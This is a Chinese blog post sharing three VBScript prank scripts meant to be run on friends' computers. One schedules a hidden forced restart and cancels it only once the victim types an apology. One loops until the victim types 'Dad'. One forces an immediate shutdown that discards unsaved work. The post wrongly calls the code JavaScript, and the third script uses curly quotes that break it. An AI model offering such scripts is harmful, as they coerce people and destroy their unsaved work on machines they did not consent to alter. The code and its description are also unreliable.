当前位置:   article > 正文

整蛊朋友的代码VBS(第二弹)_微信整蛊代码

微信整蛊代码

注意!这是用JavaScript编写,编码格式改为ANSI,后缀名改成VBS!

1.快认错!

  1. on error resume next
  2. dim WSHshellA
  3. set WSHshellA = wscript.createobject("wscript.shell")
  4. WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""快认错,不认错就一分钟关机,不信,试下···"" ",0 ,true
  5. dim a
  6. do while(a <> "我错了")
  7. a = inputbox ("如果认错,就不关机,说 ""我错了"" ","快认错","",8000,7000)
  8. msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
  9. loop
  10. msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
  11. dim WSHshell
  12. set WSHshell = wscript.createobject("wscript.shell")
  13. WSHshell.run "cmd.exe /c shutdown -a",0 ,true
  14. msgbox chr(13) + chr(13) + chr(13) + "好吧。这次我就原谅你吧!"

2.”收获“一只”儿子“

  1. const title = "儿子,快叫一声爸爸来听听"
  2. const yourname = "爸爸"
  3. const question = "儿子,快在下面方框内输入“爸爸”"
  4. const info = "不叫爸爸还想跑?呵呵^o^"
  5. const scend = "哎,儿子乖"
  6. dim youranswer
  7. do
  8. youranswer = inputbox(question, title)
  9. if youranswer <> yourname then msgbox info, vbinformation+vbokonly, title
  10. loop until youranswer = yourname
  11. msgbox scend, vbinformation+vbokonly, title

3.直接关机

  1. dim WSHshell
  2. set WSHshell = wscript.createobject(“wscript.shell”)
  3. WSHshell.run “shutdown -f -s -t 00”,0 ,true

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/268236
推荐阅读
相关标签
  

闽ICP备14008679号